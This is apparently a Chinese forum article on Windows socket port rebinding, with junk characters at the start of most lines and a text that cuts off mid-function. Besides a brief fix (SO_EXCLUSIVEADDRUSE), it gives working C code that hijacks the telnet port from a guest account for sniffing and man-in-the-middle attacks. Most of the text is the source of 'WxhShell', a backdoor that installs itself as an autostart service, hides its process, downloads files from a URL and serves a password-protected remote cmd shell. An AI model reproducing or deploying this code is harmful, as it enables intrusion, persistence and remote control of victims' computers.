在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
8\@&~&(y: s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
q\a'pp9d Q,z^eMk'd: saddr.sin_family = AF_INET;
0NMekVi yUzpl[*e^o saddr.sin_addr.s_addr = htonl(INADDR_ANY);
RkuPMs
Hw; ~]&,v|g& bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
V[T`I a\ ]Uee!-dZ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
pv #uLo }D>nXhO& 这意味着什么?意味着可以进行如下的攻击:
TwZASn]o W4~:3Sk 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
`$odxo+ :RE.m d 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
N?mTAF'M kxp, ZP 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
b;XUv4~V Dtw1q- 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
rG*Zp7{ %8a886;2 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
g:sn/Zug] SuU_psF
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
_b8?_Zq |3A/Og 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
xF4>D!T%8 Rr|&~%#z #include
wtY*{m2 #include
RN3-:Zd_X #include
0*F{=X~L #include
F.0CJ7s
DWORD WINAPI ClientThread(LPVOID lpParam);
`N69xAiy int main()
[?vn>
{
z"@yE*6 WORD wVersionRequested;
jeM/8~^4- DWORD ret;
o`8dqP WSADATA wsaData;
e /4{pe+, BOOL val;
!u0qF!/W SOCKADDR_IN saddr;
`T
gwa SOCKADDR_IN scaddr;
T7!"gJ int err;
;gC.fpu SOCKET s;
w K_I" SOCKET sc;
Ie[8Iot?bn int caddsize;
H |1owmbD HANDLE mt;
/NH9$u.g DWORD tid;
$
{iV]Xt wVersionRequested = MAKEWORD( 2, 2 );
B4yC"55 err = WSAStartup( wVersionRequested, &wsaData );
I'_u4 if ( err != 0 ) {
UUf-G0/P printf("error!WSAStartup failed!\n");
dsx'l0q 'i return -1;
YR2Q6}xR }
cZ@z]LY.g saddr.sin_family = AF_INET;
"t-u=aDl-. bF#* cH //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
meHnT9a^ oQ!56\R saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
~JJuM saddr.sin_port = htons(23);
1mLd_]F'F if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
8Rgvb3u {
PhHBmMGL printf("error!socket failed!\n");
Ye '=F return -1;
dPdodjSu,! }
l Ikh4T6i val = TRUE;
1^*M*>&d< //SO_REUSEADDR选项就是可以实现端口重绑定的
zHI_U\"8D if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
DriJn`vtzq {
s&<6{AU(id printf("error!setsockopt failed!\n");
T ~9)0A"] return -1;
pZS0;T]W, }
03WLVP@ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
6*] g)m //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Svs!C+:le //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
h&$7^P }tvLe3O if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
wj-=#gyAoo {
y"Fp4$qb ret=GetLastError();
V
&K:~[ M printf("error!bind failed!\n");
7QXA*.'
F return -1;
u!=9.3 }
VJK?"mX listen(s,2);
Vv"JN?dHi while(1)
Uxla,CCp- {
0b)^#+ caddsize = sizeof(scaddr);
]SqLF!S(= //接受连接请求
6qW/Td|g sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
0y>]68D if(sc!=INVALID_SOCKET)
mVJW"*}8 {
IFrq\H0 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
k<aKT?Ek> if(mt==NULL)
-8j<`(M'5 {
E\3fL"lM printf("Thread Creat Failed!\n");
<r6e23 break;
J^}w,r*= }
Q_ zGs6 }
Pm2T!0 CloseHandle(mt);
H3$~S ' }
]2^tV.^S^ closesocket(s);
+Dg%ec WSACleanup();
U>0' K3_ return 0;
K+3dwQo }
>(v%"04|e DWORD WINAPI ClientThread(LPVOID lpParam)
Kk5 vC{ {
c\X0*GX SOCKET ss = (SOCKET)lpParam;
q+A^JjzT SOCKET sc;
q4].C|7 unsigned char buf[4096];
,XD'f SOCKADDR_IN saddr;
Irk@#,{< long num;
4nC`DJ;V DWORD val;
Q
o}&2m DWORD ret;
aE[>^~Lv} //如果是隐藏端口应用的话,可以在此处加一些判断
5F@7A2ZR //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
d3A= (/>D saddr.sin_family = AF_INET;
5k0r{^#M saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
y[U/5! `zV saddr.sin_port = htons(23);
X!+#1NPM if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
TW2OT } {
f tVA printf("error!socket failed!\n");
]= 2wQ8 return -1;
RX-qL,dc }
dXAKk[uf val = 100;
~ vD7BO` if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
6S-1Wc4 {
b 9M.p*! ret = GetLastError();
0\G`AO;D return -1;
_xgF?# }
yNY *Fl! if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
bM]\mo>z< {
OiB*,TWV ret = GetLastError();
zd)2@jX= return -1;
e:9CD- }
a6K1-SR^6) if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
VGbuEC [Y {
;p~ &G"-C` printf("error!socket connect failed!\n");
> QwZt closesocket(sc);
__U;fH{c closesocket(ss);
JpVV0x/Q/_ return -1;
neQ2k=ao }
NTRw:' while(1)
0-
GA,I_ {
:tP:X+?O //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
,BM6s,\ //如果是嗅探内容的话,可以再此处进行内容分析和记录
/1X0h //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
;IhkGPpWP num = recv(ss,buf,4096,0);
*G"vV>OSV if(num>0)
*uYnu|UQH send(sc,buf,num,0);
Jhbkp?Zli else if(num==0)
5.J$0wK'6 break;
?}*A/-Hx0U num = recv(sc,buf,4096,0);
|]7z if(num>0)
!ndc
<], send(ss,buf,num,0);
uHdrHP else if(num==0)
ybBLBJb break;
s&S8P;K| }
;^)(q<] closesocket(ss);
.+XGbs]kCi closesocket(sc);
<Sn5ME<* return 0 ;
3 wVN:g7 }
^6v ob DJ"O`qNV3 >'#G$f ==========================================================
*JXiOs 0*^)n&O 下边附上一个代码,,WXhSHELL
]saf<?fzr ;czMsHu0X ==========================================================
1
O+4A[cr wC@5[e$ #include "stdafx.h"
+r)'?zU 70 !& #include <stdio.h>
gP.Q_/V #include <string.h>
2U,O
e9 #include <windows.h>
yTw0\yiO #include <winsock2.h>
4%O*2JAw #include <winsvc.h>
0A[p3xE\ #include <urlmon.h>
s)%RmsdL <^VZ4$j #pragma comment (lib, "Ws2_32.lib")
.E|Hk,c9 #pragma comment (lib, "urlmon.lib")
bL5z%bV 2A@9jl s #define MAX_USER 100 // 最大客户端连接数
'2=u<a B #define BUF_SOCK 200 // sock buffer
'>>
IMF #define KEY_BUFF 255 // 输入 buffer
e!yUA!x`u yv4ki5u` #define REBOOT 0 // 重启
pRmnS;*z& #define SHUTDOWN 1 // 关机
Kg&{
?& HGmgQ>q@M$ #define DEF_PORT 5000 // 监听端口
zmy94Y5PE x Yr-,$/ #define REG_LEN 16 // 注册表键长度
J)
v~ #define SVC_LEN 80 // NT服务名长度
0~RsdQGqC w3:WvA5jt // 从dll定义API
ZC3b9:tk typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
;nG"y:qq typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
yyh
L]Uq"= typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
%*P59% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
}[Uh4k8P -yeQQ4b // wxhshell配置信息
TCp!4-~, struct WSCFG {
tA$,4B? int ws_port; // 监听端口
BQ[1,\> char ws_passstr[REG_LEN]; // 口令
+Tc4+q! int ws_autoins; // 安装标记, 1=yes 0=no
Z$0r+phQk= char ws_regname[REG_LEN]; // 注册表键名
C1P{4 U char ws_svcname[REG_LEN]; // 服务名
Vn? %w~0! char ws_svcdisp[SVC_LEN]; // 服务显示名
}GsZ)\!$4 char ws_svcdesc[SVC_LEN]; // 服务描述信息
>b,o yM char ws_passmsg[SVC_LEN]; // 密码输入提示信息
C.s{& int ws_downexe; // 下载执行标记, 1=yes 0=no
(?xGlV`n char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
!U}A1) char ws_filenam[SVC_LEN]; // 下载后保存的文件名
+]
B %Rr!I:[ $ };
GmtMA|
m3
; // default Wxhshell configuration
@8Drhx struct WSCFG wscfg={DEF_PORT,
>5wA B "xuhuanlingzhe",
Yqmx] 7Y4 1,
$/],QD_;" "Wxhshell",
~wDmt "Wxhshell",
tu77Sb "WxhShell Service",
C!XI0d
"Wrsky Windows CmdShell Service",
KoiU\r "Please Input Your Password: ",
"%urT/Fv& 1,
n<8$_?- "
http://www.wrsky.com/wxhshell.exe",
( y^oGY; "Wxhshell.exe"
Y_>z"T };
ogMLv} {d}-SoxH // 消息定义模块
-QIcBzw;q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
yt>Pf<AI char *msg_ws_prompt="\n\r? for help\n\r#>";
<Nvw
w char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
!W^2?pqN char *msg_ws_ext="\n\rExit.";
2F!K
}aw char *msg_ws_end="\n\rQuit.";
nX5*pTfjL3 char *msg_ws_boot="\n\rReboot...";
jCW>=1:JGY char *msg_ws_poff="\n\rShutdown...";
10}oaL S char *msg_ws_down="\n\rSave to ";
=/6.4;8 FvG9PPd char *msg_ws_err="\n\rErr!";
l4U& CA y char *msg_ws_ok="\n\rOK!";
Ou2H~3^PL jm RYL(" char ExeFile[MAX_PATH];
Lj *FKP\{ int nUser = 0;
aZ@4Z=LK HANDLE handles[MAX_USER];
`"AjbCL int OsIsNt;
\2_>$:UoV Ez?vJDd SERVICE_STATUS serviceStatus;
n ^n'lgUT SERVICE_STATUS_HANDLE hServiceStatusHandle;
6i.'S5. C$*`c6R // 函数声明
]~?k%Mpw int Install(void);
E>4#j
PK int Uninstall(void);
n/$Bd FH int DownloadFile(char *sURL, SOCKET wsh);
G8u8&| int Boot(int flag);
yl 0?Y void HideProc(void);
h4?+/jk7 int GetOsVer(void);
wB9IP{Pf int Wxhshell(SOCKET wsl);
u:HKmP; void TalkWithClient(void *cs);
}S#.Pw% int CmdShell(SOCKET sock);
6\5U%~78 int StartFromService(void);
]XPGlM int StartWxhshell(LPSTR lpCmdLine);
7[D0n7B@ /;OJ=x3i VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
'/sc `(`:0 VOID WINAPI NTServiceHandler( DWORD fdwControl );
7]nPWz1%* >E]*5jqU // 数据结构和表定义
gKYn* SERVICE_TABLE_ENTRY DispatchTable[] =
"*7I~.7U(* {
MO _9Yi {wscfg.ws_svcname, NTServiceMain},
@=;6:akz` {NULL, NULL}
!?l 23(d };
`/ HygC6 OW-+23)sj // 自我安装
vi5~ Rd` int Install(void)
ZzKn,+ {
{#[a4@B0 char svExeFile[MAX_PATH];
?0?' HKEY key;
2f:'~ P56 strcpy(svExeFile,ExeFile);
BKDWd]KEf PH7L#H^ // 如果是win9x系统,修改注册表设为自启动
,7QnZ=F if(!OsIsNt) {
v,M2|x\r} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"q(&<+D@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
-"cN9RF RegCloseKey(key);
TWs|lhC7! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
hV,3xrm?P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,h>w % RegCloseKey(key);
cYp}$ return 0;
\O0fo^+U,, }
uZYeru"w }
z)0VP QMT }
fg1y@Dj/& else {
%/^d]# S:}s |![p // 如果是NT以上系统,安装为系统服务
T+[e6/| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
eyE&<:F#J if (schSCManager!=0)
}+lxja]C {
z=fag'fzM SC_HANDLE schService = CreateService
9F-k:hD | (
0GR9opZtA schSCManager,
~H$XSNPi wscfg.ws_svcname,
=aekY;/ wscfg.ws_svcdisp,
jG2w(h/" SERVICE_ALL_ACCESS,
vr vzV SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
dL\8^L SERVICE_AUTO_START,
&Ch)SD SERVICE_ERROR_NORMAL,
U\
L"\N 7 svExeFile,
\1Bgs^ NULL,
|.
6@-h~8 NULL,
|]q=D1/A NULL,
H94.E|Q\+ NULL,
VZ,T`8" NULL
3/AUV%+ );
v<SEGv- if (schService!=0)
k$c
j|-< {
ypd?mw&1} CloseServiceHandle(schService);
g@2.A;N0 CloseServiceHandle(schSCManager);
`#f=&S?k strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
</X"*G't strcat(svExeFile,wscfg.ws_svcname);
["F,|e{y$ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
K[[k,W]qb RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
@NIypi$T RegCloseKey(key);
uI2'jEjO return 0;
7j:{rCp3J }
q(7D8xG;F }
u\xm8}A CloseServiceHandle(schSCManager);
M@ kZ(Rkv }
8:% R|b }
#+
'@/5{ n 1 =<|h return 1;
Z-|C{1}A }
qfu2}qUX~% "^z=r]<5
// 自我卸载
tTH%YtG int Uninstall(void)
)^H9C"7T {
\NU[DHrMP HKEY key;
m;f?}z_\$ wF8\ if(!OsIsNt) {
Td*Oljj._U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
5V~p@vCx RegDeleteValue(key,wscfg.ws_regname);
1omvE9
%zM RegCloseKey(key);
&.hRVW( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
h)8+4?-4I RegDeleteValue(key,wscfg.ws_regname);
,,@`l\Pgd RegCloseKey(key);
^~qs-.? return 0;
Lc<xgN+cJ }
4D$sFR|?t }
"GI&S% F }
4oV_b"xz~ else {
(V.,~t@ WWW#s gM% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
+esNwz_ if (schSCManager!=0)
Ln2C#Uf {
otf%kG w SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
noNF;zT if (schService!=0)
/Jf`x>eiH {
C2rj ]t if(DeleteService(schService)!=0) {
6'Yn|A CloseServiceHandle(schService);
|sqo+E CloseServiceHandle(schSCManager);
=+}}Sv2 return 0;
Pgw%SMEp }
VnSj:LUD CloseServiceHandle(schService);
(GEi<\16[ }
hLbT\J`I CloseServiceHandle(schSCManager);
;%7XU~<a }
`3y!XET }
{IPn\Bka `x$}~rP&)! return 1;
+GYMJK`S+ }
2r}uE\GN z[\W\g*|ri // 从指定url下载文件
I0w@S7 int DownloadFile(char *sURL, SOCKET wsh)
N _~KZQ11^ {
q"+ q HRESULT hr;
Md>f char seps[]= "/";
foz5D9sQ char *token;
9VUm=Z#` char *file;
F7Dc!JNa char myURL[MAX_PATH];
2&gVZ z char myFILE[MAX_PATH];
c[h'`KXJf- NT;x1 strcpy(myURL,sURL);
? gA=39[j token=strtok(myURL,seps);
ci,o8 [Y while(token!=NULL)
^\vfos {
| 3N.5{ file=token;
/=muj9|+s token=strtok(NULL,seps);
7"n)/;la }
)&Kn(l) T Oco({/_/ GetCurrentDirectory(MAX_PATH,myFILE);
Qh|-a@ strcat(myFILE, "\\");
Ufaqhh strcat(myFILE, file);
''(fH$pY send(wsh,myFILE,strlen(myFILE),0);
e7XsyL'|p send(wsh,"...",3,0);
ZSF= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
8K@"B if(hr==S_OK)
xm}q6>jRV return 0;
/$FXg;h9$ else
-7-Fd_F8 return 1;
[+;FV!M6 ]cF1c90% }
r^w\9a_ Gd30Be2gd // 系统电源模块
C.yY8?| int Boot(int flag)
+CnyK(V {
HA^jk%53 HANDLE hToken;
JCw{ ?^F" TOKEN_PRIVILEGES tkp;
|5oKq'(b _`bS[%CJ if(OsIsNt) {
0|+>A?E}E OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
v87$NQvwQ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
\LIy:$`8
tkp.PrivilegeCount = 1;
.9T.3yQ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
6QN1+MwB AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
4R&*&GZ# if(flag==REBOOT) {
<@u0.-] if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
KY4d+~2 return 0;
u^`eKak"l }
&mh Ln4^ else {
]s*5[=uc2 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
YHs?QsP return 0;
t{_!Z(Rt5) }
g~~m'^ }
7d3'CQQ4 else {
>?S\~Y if(flag==REBOOT) {
%z(9lAe if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
pG0!ALT return 0;
|WB"=PE }
e Wc_ N else {
5B}3GBA if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Hab!qWK` return 0;
O[; +i }
S*4f%! }
Af`z/:0< BRe{1i 6 return 1;
>OT\~C }
doLkrEm& dY1J<L}") // win9x进程隐藏模块
[u[ U_g* void HideProc(void)
/4yOs@# {
]x2Jpk99a !&W|myN^ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
3Q",9(D if ( hKernel != NULL )
4 &|C} {
d5Qd' pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
:ztyxJv1 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
RYt6=R+f FreeLibrary(hKernel);
}f0u5:;Zth }
~]4kkm7Y K<#-"Xe; return;
WJAYM2
6\ }
j$+gq*I&E tR<L`?4 // 获取操作系统版本
)6G"* int GetOsVer(void)
m*gj|1k {
^1.7Juvb OSVERSIONINFO winfo;
?s%v 3T winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
+lKrj\Xj GetVersionEx(&winfo);
?NlSeh if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
}C_|gd return 1;
~Zmi(Ra else
-Un=TX return 0;
N#UXP5C( }
?I\v0H* ]%Y\ZIS // 客户端句柄模块
9k}<F z"^. int Wxhshell(SOCKET wsl)
x<@kjfm5 {
0Z,{s158L SOCKET wsh;
.uKx>YB} struct sockaddr_in client;
XCm\z9F DWORD myID;
)tD6=Iz^5 *> KHRR<N while(nUser<MAX_USER)
r4?b0&Xq {
JpmB;aL#% int nSize=sizeof(client);
]^ #`j wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
ZBJ3 VK if(wsh==INVALID_SOCKET) return 1;
s^cc@C +zsZNJ(U handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
5oJ Dux } if(handles[nUser]==0)
G?/c/r G closesocket(wsh);
<s}|ZnGE else
sT`^ljp4 nUser++;
SX+4HJB }
q{E"pyt36R WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
`hzrfum4 VFSz-<L return 0;
e:OyjG5_ }
c
0-w6 -72j:nk // 关闭 socket
J &{xP8uq_ void CloseIt(SOCKET wsh)
eh<rRx"[ {
=VSkl;(O closesocket(wsh);
h$ Da&$uyI nUser--;
~+HoSXu@E ExitThread(0);
w<t,j~ Pr# }
j[XYj6*d 3wC
R|ab} // 客户端请求句柄
w!`Umll2 void TalkWithClient(void *cs)
//.>>-~1m {
`f)(Y1%. 6peyh_ SOCKET wsh=(SOCKET)cs;
%>y;zqZIU char pwd[SVC_LEN];
(Z-l/)Q char cmd[KEY_BUFF];
4 x,hj char chr[1];
0E6lmz`O int i,j;
6Cc7ejt|u m xJXL":| while (nUser < MAX_USER) {
qC@Ar)T XmWlv{T+ if(wscfg.ws_passstr) {
l67KJ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
T?npQA07= //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
(}gcY //ZeroMemory(pwd,KEY_BUFF);
<I2z& i=0;
d?hz LX while(i<SVC_LEN) {
6y
Wc1 ]sj0~DI*m // 设置超时
{'R)4hL fd_set FdRead;
3nFt1E
struct timeval TimeOut;
E4HU 'y~ FD_ZERO(&FdRead);
Q$a FD_SET(wsh,&FdRead);
k+1gQru{d TimeOut.tv_sec=8;
B8V,)rn TimeOut.tv_usec=0;
usOx=^?= int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
&[j]Bp? if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
pn\V+Rg' [ee30ELn if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
js <Ww$zFW pwd
=chr[0]; FtIa*j^G
if(chr[0]==0xd || chr[0]==0xa) { i@zY9,b
pwd=0; Q"VMNvKYB
break; Z8&'f,
} 0=![fjm
i++; ~<ri97)
} 4~|<`vqN
ngyY
// 如果是非法用户,关闭 socket !ALZBB .r(
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :6Pad
} l[YEKg
5
9-!6;T
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :&yDqoQKJ
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P))^vUt~
qnIew?-*
while(1) { i_l+:/+G+
r<yhI>>;<
ZeroMemory(cmd,KEY_BUFF); fL6e?\Pw
U Cb02h
// 自动支持客户端 telnet标准 OhwF )p=
j=0; 5H
!y 46z
while(j<KEY_BUFF) { 5D' bJ6PO
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m<@z}%v-
cmd[j]=chr[0]; d2jr8U
if(chr[0]==0xa || chr[0]==0xd) { GYK\LHCPd
cmd[j]=0; m*n5zi|O
break; ClQe4uo{
} CL9yEy"V
j++; W{Z^n(f4
} jP=Hf=:$
7%d8D>uw8
// 下载文件 h9CIZU[Nh
if(strstr(cmd,"http://")) { f
j<H6|3
send(wsh,msg_ws_down,strlen(msg_ws_down),0); bToq$%sCg
if(DownloadFile(cmd,wsh)) $a#H,Xv#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I1=(. *B}
else q|dH~BK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5:_hP{ @
} {IM! Wb
else { |b.z*G
%oof}=MxCL
switch(cmd[0]) { $G!R,eQ
sYn[uPefj
// 帮助 iHBB,x
case '?': { #kcSQ'
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WUoOGbA `
break; Lp&k3?W
} 7y<1LQ;}
// 安装 <~"lie1
case 'i': { @WOM#Kc
if(Install()) ?Rr2/W#F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %&+59vq
else
&|o$=Ad
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fo|xzLm9*|
break; =$^MQ\S0p
} fZN><3MO>
// 卸载 )&W**!(C
case 'r': { ,.mBJSE3
if(Uninstall()) 0kDBE3i#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >fs2kha
else ERz;H!pU8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z@U}~TvP
break; l*}FXL
} SreYJT%
// 显示 wxhshell 所在路径 :#{Xuy:
case 'p': { FfFak@H
char svExeFile[MAX_PATH]; Z S|WnMH
strcpy(svExeFile,"\n\r"); $P {K2"Oc
strcat(svExeFile,ExeFile); + ,4"
u
send(wsh,svExeFile,strlen(svExeFile),0); ~)X[(T{
break; m,MSMw1p
} v/QUjXBr
// 重启 &"E
lm
case 'b': { 5W? PCOh\
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Lxe^v/LsT
if(Boot(REBOOT)) )b4$A:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p9[6^rjx8
else { Frm;Ej3?$
closesocket(wsh); ;`j/D@H
ExitThread(0); 1y"3
} @4GA^h
break; DVp5hR_$
} (/{aJV
// 关机 l]LxL
case 'd': { 0D&> Gyc*0
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^))RM_ic
if(Boot(SHUTDOWN)) v! hY
send(wsh,msg_ws_err,strlen(msg_ws_err),0); OM83S|1s
else { LF<wt2?*
closesocket(wsh); MmoR~~*
ExitThread(0); [ AzO:A
} ^>c8t_RG
break; hsNWqk qys
} Qst$S} n
// 获取shell &l2TeC@;
case 's': { -apXI.
CmdShell(wsh); N3A<:%s
closesocket(wsh); #;VA5<M8
ExitThread(0); J
m{
break; n(ir[w#,]"
} ixfdO\nU
// 退出 IVvtX}
case 'x': { 3c'#6virz
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lx0~>K]
CloseIt(wsh); qv2!grp]*W
break; 2?7(A
} j6:7AH|!)2
// 离开 zd%rs~*c
case 'q': { Tenf:Hm/k
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'o4p#`R:8
closesocket(wsh); {<$bAj
WSACleanup(); <E,%@
exit(1); 3\$wdUFr
break; X$?3U!
} U7$WiPTNL9
} a|j%n
} rVSZ.+n
]c)_&{:V
// 提示信息 vXj <
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,yMU@Vg
} TbVn6V'
} R*pC.QiB~
$0A ~uDbs
return; T?
,P*l
} zDOKShG
%b2oiKSBx?
// shell模块句柄 {D&9UZm
int CmdShell(SOCKET sock) s,]%dG!
{ kJ:F *34e=
STARTUPINFO si; bO5k6i
ZeroMemory(&si,sizeof(si)); L5YnG_M&
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @Yw,nQE)b
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oFsM6+\/S
PROCESS_INFORMATION ProcessInfo; '])2k@o@
char cmdline[]="cmd"; F/c$v
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &[mZD,
return 0; m^~ S
} ~p0c3*
aolN<u3G
// 自身启动模式 !9iGg*0dx
int StartFromService(void) P(k(m<0
{ yL4 T
typedef struct V%0I%\0Y
{ G9P!_72
DWORD ExitStatus; a&{X!:X
DWORD PebBaseAddress; mog[pu:!,
